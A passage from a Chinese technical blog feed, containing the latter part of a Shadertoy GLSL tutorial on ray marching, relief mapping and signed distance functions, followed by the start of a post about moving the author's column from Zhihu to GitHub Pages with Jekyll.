<span class="kt">vec3</span> <span class="n">steps</span><span class="o">=-</span><span class="n">dir</span><span class="o">/</span><span class="n">dir</span><span class="p">.</span><span class="n">z</span><span class="o">*</span><span class="n">maxDepth</span><span class="o">/</span><span class="kt">float</span><span class="p">(</span><span class="n">iteration</span><span class="p">);</span>
<span class="kt">vec3</span> <span class="n">pos</span><span class="o">=</span><span class="n">start</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">iteration</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="kt">vec3</span> <span class="n">next</span><span class="o">=</span><span class="n">pos</span><span class="o">+</span><span class="n">steps</span><span class="p">;</span>
<span class="c1">// 判断是否已经前进到了地面里面</span>
<span class="k">if</span><span class="p">(</span><span class="n">next</span><span class="p">.</span><span class="n">z</span><span class="o">+</span><span class="n">texDepth</span><span class="p">(</span><span class="n">next</span><span class="p">.</span><span class="n">xy</span><span class="p">)</span><span class="o"><</span><span class="mi">0</span><span class="p">.){</span>
<span class="k">return</span> <span class="n">pos</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">pos</span><span class="o">=</span><span class="n">next</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">pos</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>最后我们把一切拼在一起,加上光照效果:</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">float</span> <span class="nf">lighting</span><span class="p">(</span><span class="kt">vec3</span> <span class="n">pos</span><span class="p">){</span>
<span class="c1">// 用 ShaderToy 提供的 iTime 让光源旋转起来!</span>
<span class="kt">vec3</span> <span class="n">light</span><span class="o">=</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">2</span><span class="p">.</span><span class="mi">1</span><span class="o">*</span><span class="n">sin</span><span class="p">(</span><span class="n">iTime</span><span class="p">)</span><span class="o">+</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">,</span><span class="mi">2</span><span class="p">.</span><span class="mi">1</span><span class="o">*</span><span class="n">cos</span><span class="p">(</span><span class="n">iTime</span><span class="p">)</span><span class="o">+</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">,</span><span class="mi">1</span><span class="p">.</span><span class="mi">75</span><span class="p">);</span>
<span class="c1">// 为了偷懒(?)以及美术效果我们仅计算漫反射部分</span>
<span class="kt">float</span> <span class="n">diffuse</span><span class="o">=</span><span class="n">clamp</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">normalize</span><span class="p">(</span><span class="n">light</span><span class="o">-</span><span class="n">pos</span><span class="p">),</span><span class="n">texNormal</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">xy</span><span class="p">)),</span><span class="mi">0</span><span class="p">.,</span><span class="mi">1</span><span class="p">.);</span>
<span class="k">return</span> <span class="n">diffuse</span><span class="o">*</span><span class="p">.</span><span class="mi">5</span><span class="o">+</span><span class="p">.</span><span class="mi">5</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// ShaderToy 的主函数和一般的 glsl 不同, ShaderToy 会为我们编译成在 WebGL 中使用的片元着色器</span>
<span class="kt">void</span> <span class="nf">mainImage</span><span class="p">(</span> <span class="k">out</span> <span class="kt">vec4</span> <span class="n">fragColor</span><span class="p">,</span> <span class="k">in</span> <span class="kt">vec2</span> <span class="n">fragCoord</span> <span class="p">)</span>
<span class="p">{</span>
<span class="c1">// 让相机也左右移起来</span>
<span class="kt">vec3</span> <span class="n">cameraPos</span><span class="o">=</span><span class="kt">vec3</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">.</span><span class="o">+</span><span class="p">.</span><span class="mi">25</span><span class="o">*</span><span class="n">sin</span><span class="p">(</span><span class="n">iTime</span><span class="p">),</span><span class="o">-</span><span class="mi">1</span><span class="p">.</span><span class="o">-</span><span class="p">.</span><span class="mi">25</span><span class="o">*</span><span class="n">sin</span><span class="p">(</span><span class="n">iTime</span><span class="p">),</span><span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">);</span>
<span class="kt">vec3</span> <span class="n">dir</span><span class="o">=</span><span class="n">rayDirection</span><span class="p">(</span><span class="n">fragCoord</span><span class="p">);</span>
<span class="c1">// 我们先让光线前进到高度 0 处再进行 Ray marching,毕竟场景里没有高度大于 0 的东西</span>
<span class="kt">float</span> <span class="n">t</span><span class="o">=-</span><span class="n">cameraPos</span><span class="p">.</span><span class="n">z</span><span class="o">/</span><span class="n">dir</span><span class="p">.</span><span class="n">z</span><span class="p">;</span>
<span class="kt">vec3</span> <span class="n">pos</span><span class="o">=</span><span class="n">rayMarching</span><span class="p">(</span><span class="n">cameraPos</span><span class="o">+</span><span class="n">t</span><span class="o">*</span><span class="n">dir</span><span class="p">,</span><span class="n">dir</span><span class="p">,.</span><span class="mi">25</span><span class="p">);</span>
<span class="n">fragColor</span> <span class="o">=</span> <span class="kt">vec3</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">).</span><span class="n">zzzz</span><span class="o">*</span><span class="n">lighting</span><span class="p">(</span><span class="n">pos</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>然后让我们看看效果:</p>
<p class="content-image"><img src="../assets/img/content/shadertoy-raymarching-sdf/relief-buggy.png" alt="" />注意球面边缘的 Artifact</p>
<p>看来我们的 Ray marching 求交过程还不够精确,所以在贴图高度变化比较大的地方产生了错误的条纹状图案。不过既然射线不太可能在一步之中和表面相交两次,我们可以在找到相交的那一步之后再做一个二分查找提高精度。</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define iteration 128
#define binaryPass 16
</span><span class="kt">vec3</span> <span class="nf">rayMarching</span><span class="p">(</span><span class="kt">vec3</span> <span class="n">start</span><span class="p">,</span><span class="kt">vec3</span> <span class="n">dir</span><span class="p">,</span><span class="kt">float</span> <span class="n">maxDepth</span><span class="p">){</span>
<span class="kt">vec3</span> <span class="n">steps</span><span class="o">=-</span><span class="n">dir</span><span class="o">/</span><span class="n">dir</span><span class="p">.</span><span class="n">z</span><span class="o">*</span><span class="n">maxDepth</span><span class="o">/</span><span class="kt">float</span><span class="p">(</span><span class="n">iteration</span><span class="p">);</span>
<span class="kt">vec3</span> <span class="n">pos</span><span class="o">=</span><span class="n">start</span><span class="p">;</span>
<span class="c1">// 多来一步免得扑空</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">iteration</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="kt">vec3</span> <span class="n">next</span><span class="o">=</span><span class="n">pos</span><span class="o">+</span><span class="n">steps</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">next</span><span class="p">.</span><span class="n">z</span><span class="o">+</span><span class="n">texDepth</span><span class="p">(</span><span class="n">next</span><span class="p">.</span><span class="n">xy</span><span class="p">)</span><span class="o"><</span><span class="mi">0</span><span class="p">.){</span>
<span class="c1">// 新增的部分,继续二分提高精度</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">j</span><span class="o"><</span><span class="n">binaryPass</span><span class="p">;</span><span class="n">j</span><span class="o">++</span><span class="p">){</span>
<span class="kt">vec3</span> <span class="n">mid</span><span class="o">=</span><span class="p">(</span><span class="n">pos</span><span class="o">+</span><span class="n">next</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span><span class="p">.;</span>
<span class="k">if</span><span class="p">(</span><span class="n">mid</span><span class="p">.</span><span class="n">z</span><span class="o">+</span><span class="n">texDepth</span><span class="p">(</span><span class="n">mid</span><span class="p">.</span><span class="n">xy</span><span class="p">)</span><span class="o"><</span><span class="mi">0</span><span class="p">.){</span>
<span class="n">next</span><span class="o">=</span><span class="n">mid</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="n">pos</span><span class="o">=</span><span class="n">mid</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">pos</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">pos</span><span class="o">=</span><span class="n">next</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">pos</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>效果如图:</p>
<p class="content-image"><img src="../assets/img/content/shadertoy-raymarching-sdf/relief-basic.png" alt="" />这个效果不错</p>
<p>最后我们还可以加上阴影效果,这样可以对光源有更好的表现。我们只需要再做一次光源到表面的 Ray marching 判断有没有交点就好了:</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">float</span> <span class="nf">lighting</span><span class="p">(</span><span class="kt">vec3</span> <span class="n">pos</span><span class="p">){</span>
<span class="kt">vec3</span> <span class="n">light</span><span class="o">=</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">2</span><span class="p">.</span><span class="mi">1</span><span class="o">*</span><span class="n">sin</span><span class="p">(</span><span class="n">iTime</span><span class="p">)</span><span class="o">+</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">,</span><span class="mi">2</span><span class="p">.</span><span class="mi">1</span><span class="o">*</span><span class="n">cos</span><span class="p">(</span><span class="n">iTime</span><span class="p">)</span><span class="o">+</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">,</span><span class="mi">1</span><span class="p">.</span><span class="mi">75</span><span class="p">);</span>
<span class="kt">float</span> <span class="n">diffuse</span><span class="o">=</span><span class="n">clamp</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">normalize</span><span class="p">(</span><span class="n">light</span><span class="o">-</span><span class="n">pos</span><span class="p">),</span><span class="n">texNormal</span><span class="p">(</span><span class="n">pos</span><span class="p">.</span><span class="n">xy</span><span class="p">)),</span><span class="mi">0</span><span class="p">.,</span><span class="mi">1</span><span class="p">.);</span>
<span class="c1">// 从光源与当前位置连线和高度 0 处平面的交点开始进行 Ray marching</span>
<span class="kt">vec3</span> <span class="n">lightdir</span><span class="o">=</span><span class="n">normalize</span><span class="p">(</span><span class="n">pos</span><span class="o">-</span><span class="n">light</span><span class="p">);</span>
<span class="kt">vec3</span> <span class="n">start</span><span class="o">=</span><span class="n">light</span><span class="o">-</span><span class="p">(</span><span class="n">light</span><span class="p">.</span><span class="n">z</span><span class="o">/</span><span class="n">lightdir</span><span class="p">.</span><span class="n">z</span><span class="p">)</span><span class="o">*</span><span class="n">lightdir</span><span class="p">;</span>
<span class="kt">vec3</span> <span class="n">steps</span><span class="o">=</span><span class="p">(</span><span class="n">pos</span><span class="o">-</span><span class="n">start</span><span class="p">)</span><span class="o">/</span><span class="kt">float</span><span class="p">(</span><span class="n">iteration</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">iteration</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="kt">vec3</span> <span class="n">current</span><span class="o">=</span><span class="n">steps</span><span class="o">*</span><span class="kt">float</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="n">start</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">current</span><span class="p">.</span><span class="n">z</span><span class="o">+</span><span class="n">texDepth</span><span class="p">(</span><span class="n">current</span><span class="p">.</span><span class="n">xy</span><span class="p">)</span><span class="o"><</span><span class="mi">0</span><span class="p">.){</span>
<span class="c1">//我们只需要判断是否有交点就好,不必确定交点位置</span>
<span class="c1">// 当然,这个阴影处的颜色计算也是很随意的,因为懒(?)</span>
<span class="k">return</span> <span class="n">diffuse</span><span class="o">*</span><span class="p">.</span><span class="mi">25</span><span class="o">+</span><span class="p">.</span><span class="mi">5</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">diffuse</span><span class="o">*</span><span class="p">.</span><span class="mi">5</span><span class="o">+</span><span class="p">.</span><span class="mi">5</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p class="content-image"><img src="../assets/img/content/shadertoy-raymarching-sdf/relief-shadow.png" alt="" />加上阴影之后的效果</p>
<p>最后再加上颜色就可以完成了。最终的效果可以在 <a href="https://www.shadertoy.com/view/wdjcWV" target="_blank" rel="noopener">这里</a> 看到。</p>
<h2 id="有符号距离函数signed-distance-functionsdf">有符号距离函数(Signed distance function,SDF)</h2>
<p>可以看到,上一节中的 Ray marching 方法还是有一定局限性的。它每一步的步长是固定的,所以某种程度上不够灵活。接下来我们来介绍更灵活的 <a href="https://www.iquilezles.org/www/articles/raymarchingdf/raymarchingdf.htm" target="_blank" rel="noopener">基于有符号距离函数的方法</a>。</p>
<p>所谓有符号距离函数,就是一个用来表示与空间中一点与某个物体的边界的距离的一个函数。如果我们用有符号距离函数来表示物体,我们就可以使用它来确定光线前进的步长,这样我们就能较快得收敛到光线与物体的交点,同时由于有符号距离函数的性质我们不必担心步子太大越过了要求的交点。同时,由于有符号距离函数在物体边界上某一点的梯度就是物体在这一点的法向量,所以我们可以 <a href="https://www.iquilezles.org/www/articles/normalsSDF/normalsSDF.htm" target="_blank" rel="noopener">通过数值方法</a> 从有符号距离函数计算出物体表面的法向量,以此完成光照的计算。当然,有时我们不需要绝对的有符号距离函数,只需要在一定范围(比如物体外部)内精确的近似有符号距离函数就好,毕竟在某些地方有错误的值并不会对最终结果产生太大的影响。</p>
<p>接下来我们来写一个使用基于有符号距离函数的 Ray marching 渲染的着色器。与之前的相同和类似的部分我们就不重复了。</p>
<p>首先让我们准备好有符号距离函数:</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//这里我们使用的是一个三个长方体互相交叉形成的十字形</span>
<span class="c1">//具体的数学推导过程我们就略去了,留作习题</span>
<span class="kt">float</span> <span class="nf">sdfCross</span><span class="p">(</span><span class="kt">vec2</span> <span class="n">dimension</span><span class="p">,</span><span class="kt">vec3</span> <span class="n">p</span><span class="p">){</span>
<span class="kt">vec3</span> <span class="n">xmaxP</span><span class="o">=</span><span class="n">abs</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
<span class="n">xmaxP</span><span class="o">=</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">x</span><span class="o"><</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">y</span><span class="o">?</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">yzx</span><span class="o">:</span><span class="n">xmaxP</span><span class="p">;</span>
<span class="n">xmaxP</span><span class="o">=</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">x</span><span class="o"><</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">y</span><span class="o">?</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">yzx</span><span class="o">:</span><span class="n">xmaxP</span><span class="p">;</span>
<span class="n">xmaxP</span><span class="o">=</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">x</span><span class="o"><</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">z</span><span class="o">?</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">zxy</span><span class="o">:</span><span class="n">xmaxP</span><span class="p">;</span>
<span class="kt">vec3</span> <span class="n">diff</span><span class="o">=</span><span class="n">xmaxP</span><span class="o">-</span><span class="n">dimension</span><span class="p">.</span><span class="n">xyy</span><span class="p">;</span>
<span class="kt">float</span> <span class="n">maxdiff</span><span class="o">=</span><span class="n">max</span><span class="p">(</span><span class="n">max</span><span class="p">(</span><span class="n">diff</span><span class="p">.</span><span class="n">x</span><span class="p">,</span><span class="n">diff</span><span class="p">.</span><span class="n">y</span><span class="p">),</span><span class="n">diff</span><span class="p">.</span><span class="n">z</span><span class="p">);</span>
<span class="kt">vec3</span> <span class="n">connection</span><span class="o">=</span><span class="n">maxdiff</span><span class="o">></span><span class="mi">0</span><span class="p">.</span><span class="o">?</span><span class="n">diff</span><span class="o">:</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">0</span><span class="p">.,</span><span class="o">-</span><span class="n">maxdiff</span><span class="p">,</span><span class="n">dimension</span><span class="p">.</span><span class="n">y</span><span class="o">-</span><span class="n">xmaxP</span><span class="p">.</span><span class="n">x</span><span class="p">);</span>
<span class="k">return</span> <span class="n">sign</span><span class="p">(</span><span class="n">maxdiff</span><span class="p">)</span><span class="o">*</span><span class="n">length</span><span class="p">(</span><span class="n">max</span><span class="p">(</span><span class="n">connection</span><span class="p">,</span><span class="mi">0</span><span class="p">.));</span>
<span class="p">}</span>
<span class="kt">float</span> <span class="nf">sdf</span><span class="p">(</span><span class="kt">vec3</span> <span class="n">p</span><span class="p">){</span>
<span class="c1">// 让物体转起来</span>
<span class="kt">vec4</span> <span class="n">qRot</span><span class="o">=</span><span class="n">quaternion</span><span class="p">(</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span><span class="n">radians</span><span class="p">(</span><span class="n">iTime</span><span class="o">*</span><span class="mi">10</span><span class="p">.));</span>
<span class="c1">// 这里我们在返回值上加上 0.1,这样可以使让物体略微缩小一点,同时在接缝处制造平滑的效果</span>
<span class="c1">// 这可能会在某些地方破坏有符号距离函数的性质,但是实际上对我们的渲染没啥影响</span>
<span class="k">return</span> <span class="n">sdfCross</span><span class="p">(</span><span class="kt">vec2</span><span class="p">(</span><span class="mi">0</span><span class="p">.</span><span class="mi">9</span><span class="p">,</span><span class="mi">0</span><span class="p">.</span><span class="mi">3</span><span class="p">),</span><span class="n">rotation</span><span class="p">(</span><span class="n">qRot</span><span class="p">,</span><span class="n">p</span><span class="p">))</span><span class="o">+</span><span class="p">.</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>然后编写我们的 Ray marching 函数,完成求交的部分:</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define iteration 128
</span><span class="kt">vec3</span> <span class="nf">rayMarching</span><span class="p">(</span><span class="kt">vec3</span> <span class="n">start</span><span class="p">,</span><span class="kt">vec3</span> <span class="n">dir</span><span class="p">){</span>
<span class="c1">// 这里由于物体上的点的 y 坐标一定在 -1 和 1 之间</span>
<span class="c1">// 所以我们先直接前进到 y 为 -1 处</span>
<span class="kt">float</span> <span class="n">tmin</span><span class="o">=</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">.</span><span class="mi">0</span><span class="o">-</span><span class="n">start</span><span class="p">.</span><span class="n">y</span><span class="p">)</span><span class="o">/</span><span class="n">dir</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>
<span class="kt">vec3</span> <span class="n">pos</span><span class="o">=</span><span class="n">tmin</span><span class="o">*</span><span class="n">dir</span><span class="o">+</span><span class="n">start</span><span class="p">;</span>
<span class="kt">float</span> <span class="n">t</span><span class="o">=</span><span class="n">tmin</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">tmin</span><span class="o"><</span><span class="mi">0</span><span class="p">.){</span>
<span class="k">return</span> <span class="n">pos</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">iteration</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="c1">// 直接把符号距离函数的返回值当作前进的距离</span>
<span class="kt">float</span> <span class="n">step1</span><span class="o">=</span><span class="n">sdf</span><span class="p">(</span><span class="n">pos</span><span class="p">);</span>
<span class="c1">// 我们对于较远处的物体精度要求较低,但是对于近处我们需要更高的精度</span>
<span class="c1">// 所以我们判断迭代结束的阈值是当前已经前进了的距离的一个倍数</span>
<span class="k">if</span><span class="p">(</span><span class="n">abs</span><span class="p">(</span><span class="n">step1</span><span class="p">)</span><span class="o"><</span><span class="p">.</span><span class="mo">000001</span><span class="o">*</span><span class="n">t</span><span class="p">){</span>
<span class="k">return</span> <span class="n">pos</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">t</span><span class="o">+=</span><span class="n">step1</span><span class="p">;</span>
<span class="n">pos</span><span class="o">=</span><span class="n">t</span><span class="o">*</span><span class="n">dir</span><span class="o">+</span><span class="n">start</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">pos</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>然后我们来看看现在的效果:</p>
<p class="content-image"><img src="../assets/img/content/shadertoy-raymarching-sdf/sdf-flat.png" alt="" />由于还没有实现光照效果,所以物体是纯色的</p>
<p>接下来我们来实现法线方向的计算,进而实现光照效果:</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c1">// 这里用数值方法计算梯度</span>
<span class="c1">// 我们使用 iq 的文章中的做法,取正四边形的四个顶点的方向进行采样,然后作差</span>
<span class="c1">// 由于最后还要 normalize,所以梯度值差个几倍不影响的</span>
<span class="cp">#define delta 0.00025
</span><span class="kt">vec3</span> <span class="nf">normal</span><span class="p">(</span><span class="kt">vec3</span> <span class="n">pos</span><span class="p">){</span>
<span class="kt">vec2</span> <span class="n">e</span><span class="o">=</span><span class="kt">vec2</span><span class="p">(</span><span class="mi">1</span><span class="p">.,</span><span class="o">-</span><span class="mi">1</span><span class="p">.);</span>
<span class="kt">vec3</span> <span class="n">rawNormal</span><span class="o">=</span><span class="n">e</span><span class="p">.</span><span class="n">xxx</span><span class="o">*</span><span class="n">sdf</span><span class="p">(</span><span class="n">pos</span><span class="o">+</span><span class="n">delta</span><span class="o">*</span><span class="n">e</span><span class="p">.</span><span class="n">xxx</span><span class="p">);</span>
<span class="n">rawNormal</span><span class="o">+=</span><span class="n">e</span><span class="p">.</span><span class="n">xyy</span><span class="o">*</span><span class="n">sdf</span><span class="p">(</span><span class="n">pos</span><span class="o">+</span><span class="n">delta</span><span class="o">*</span><span class="n">e</span><span class="p">.</span><span class="n">xyy</span><span class="p">);</span>
<span class="n">rawNormal</span><span class="o">+=</span><span class="n">e</span><span class="p">.</span><span class="n">yyx</span><span class="o">*</span><span class="n">sdf</span><span class="p">(</span><span class="n">pos</span><span class="o">+</span><span class="n">delta</span><span class="o">*</span><span class="n">e</span><span class="p">.</span><span class="n">yyx</span><span class="p">);</span>
<span class="n">rawNormal</span><span class="o">+=</span><span class="n">e</span><span class="p">.</span><span class="n">xxx</span><span class="o">*</span><span class="n">sdf</span><span class="p">(</span><span class="n">pos</span><span class="o">+</span><span class="n">delta</span><span class="o">*</span><span class="n">e</span><span class="p">.</span><span class="n">xxx</span><span class="p">);</span>
<span class="k">return</span> <span class="n">normalize</span><span class="p">(</span><span class="n">rawNormal</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">float</span> <span class="nf">lighting</span><span class="p">(</span><span class="kt">vec3</span> <span class="n">pos</span><span class="p">){</span>
<span class="kt">vec3</span> <span class="n">light</span><span class="o">=</span><span class="kt">vec3</span><span class="p">(</span><span class="mi">0</span><span class="p">.</span><span class="o">+</span><span class="n">sin</span><span class="p">(</span><span class="mi">2</span><span class="p">.</span><span class="o">*</span><span class="n">iTime</span><span class="p">),</span><span class="o">-</span><span class="mi">4</span><span class="p">.</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">.</span><span class="o">-</span><span class="n">cos</span><span class="p">(</span><span class="mi">2</span><span class="p">.</span><span class="o">*</span><span class="n">iTime</span><span class="p">));</span>
<span class="c1">// 这里同样为了偷懒(?)以及美术效果我们仅计算漫反射部分</span>
<span class="kt">float</span> <span class="n">diffuse</span><span class="o">=</span><span class="n">clamp</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">normalize</span><span class="p">(</span><span class="n">light</span><span class="o">-</span><span class="n">pos</span><span class="p">),</span><span class="n">normal</span><span class="p">(</span><span class="n">pos</span><span class="p">)),</span><span class="mi">0</span><span class="p">.,</span><span class="mi">1</span><span class="p">.);</span>
<span class="k">return</span> <span class="n">diffuse</span><span class="o">*</span><span class="p">.</span><span class="mi">5</span><span class="o">+</span><span class="p">.</span><span class="mi">5</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>再来看现在的效果:</p>
<p class="content-image"><img src="../assets/img/content/shadertoy-raymarching-sdf/sdf-lighting.png" alt="" />效果还不错,可惜没有遮挡光源产生的阴影效果</p>
<p>到此为止,基础的渲染部分就完成了。我最终发布在 ShaderToy 的版本则修改了物体的有符号距离函数,使得物体在空间中重复了起来。可以在 <a href="https://www.shadertoy.com/view/tsffWs" target="_blank" rel="noopener">这里</a> 看到最终的效果。本文的题图就是这一着色器最终的渲染结果。</p>
<p>当然,有符号距离函数更常见的应用是 <a href="https://github.com/libgdx/libgdx/wiki/Distance-field-fonts" target="_blank" rel="noopener">进行文本渲染的加速</a> ,这样我只需要提前计算好文本形状的有符号距离函数的值,放进贴图里,就可以渲染放大后也不会糊掉的文本了,还可以用这个方法实现文字描边等效果。</p>
<h2 id="接下来还可以做什么">接下来还可以做什么</h2>
<p>如果还想在 Shadertoy 上写一些更强大,效果更好的着色器,你可以参考这些方向:</p>
<ul>
<li><a href="https://www.iquilezles.org/www/articles/sdfbounding/sdfbounding.htm" target="_blank" rel="noopener">使用包围盒进行渲染加速</a></li>
<li>绕过某些硬件缺陷,比如 <a href="https://www.iquilezles.org/www/articles/filteringrm/filteringrm.htm" target="_blank" rel="noopener">更好地处理材质贴图</a></li>
<li>更强大的光影效果,比如 <a href="https://www.iquilezles.org/www/articles/outdoorslighting/outdoorslighting.htm" target="_blank" rel="noopener">室外光照</a></li>
<li>使用程序生成的几何物体,比如 <a href="https://www.iquilezles.org/www/articles/fbm/fbm.htm" target="_blank" rel="noopener">用 fBM 生成地表</a>,<a href="https://www.iquilezles.org/www/articles/mandelbulb/mandelbulb.htm" target="_blank" rel="noopener">甚至真正的三维分形物体</a></li>
</ul>
<p>而我,就不必在这里细挖深究了,我还有别的东西要玩呢。</p>benpigchuShadertoy 是一个可以让你编写和分享片元着色器的网站。知道一点 GPU 渲染管线的应该明白,基本的三维图形实时渲染是先把顶点信息塞给 GPU,并通过顶点着色器处理顶点的信息,然后再由 GPU 硬件把每个几何单元(一般是三角形)变成一个个的像素,并进行插值,最后在片元着色器计算最终的颜色。Shadertoy 缺少顶点着色器,这意味着它只能为屏幕空间中的每个像素计算一个颜色。然而即便是有这样的限制,我们依旧能用其他的方法进行三维图形的渲染。Shadertoy 的创始人之一 Inigo Quilez 就是这一位这方面的专家,他在 自己的网站 上写了很多文章介绍这些技术和技巧。接下来我们来学习一下这些技术当中最基本的一些东西,了解一下 Shadertoy 上这些神奇的着色器是如何运作的。专栏搬迁2020-04-08T06:07:05+00:002020-04-08T06:07:05+00:00http://benpigchu.github.io/pikanote/article/move-to-github-io<p>大约三年之前,我在知乎开了这个专栏,更了几篇文章,但是后来因为种种原因没有继续下去。现在,我觉得是重新开始更新的时候了。作为一个开始,我把文章搬到了 GitHub pages 上,这样一方面可以用大家都喜欢的 markdown 格式来写技术文章了,另一方面专栏也有了自己的站点。</p>
<h2 id="为什么要搬到-github-pages">为什么要搬到 Github pages</h2>
<p>继续使用知乎专栏虽然也没什么不好,但是我觉得一个内容创作者不应该与内容分发平台捆绑在一起,所以应该专门为专栏单独建立一个新站点。这样就算知乎倒闭或者我的账号被封,我也能继续发布我的内容。同时我还能借此机会公开我的插图的原始 svg 文件,并且为专栏设计专门的排版和格式。当然,之后的文章还是会在知乎专栏发布,但是我会先在专栏自己的站点发表然后再转载过去。</p>
<h2 id="新站点的技术细节">新站点的技术细节</h2>
<p>专栏的新站点是用 <a href="https://jekyllrb.com/" target="_blank" rel="noopener">Jekyll</a> 配合 <a href="https://pages.github.com/" target="_blank" rel="noopener">GitHub Pages</a> 构建的。之所以使用 Jekyll 其实还是因为 GitHub Pages 直接支持 Jekyll。虽然 GitHub Pages 对使用的 Jekyll 插件的限制很死,但是我目前并不需要额外的插件。如果将来有需要的话,我会改成使用 GitHub Action 进行构建的方式。</p>
<p>由于我对自定义样式的要求非常高,所以我没有采用现成的主题,而是自己从头造。要实现主题,我需要自己写几个模板放进 <code class="language-plaintext highlighter-rouge">_layout</code> 文件夹,并编辑 <code class="language-plaintext highlighter-rouge">_sass</code> 文件夹里的样式就好。好在我可以直接从我的个人网站复制代码,所以整个过程并不算复杂,只需要稍微学习一下 Jekyll 采用的 <a href="https://shopify.github.io/liquid/" target="_blank" rel="noopener">Liquid 模板引擎</a>就行了。</p>
<p>除此之外还有一些其他小的细节功能:</p>
<ul>
<li>“旧文”和“在其他平台阅读”:我希望对最先发表在知乎专栏上的旧文给出一个醒目的标识,同时在文章结尾给出在其他平台上的链接。实现这个功能只需要在每篇文章的 front matter 里面添加自定义元数据,并在模板里进行判断就行。</li>
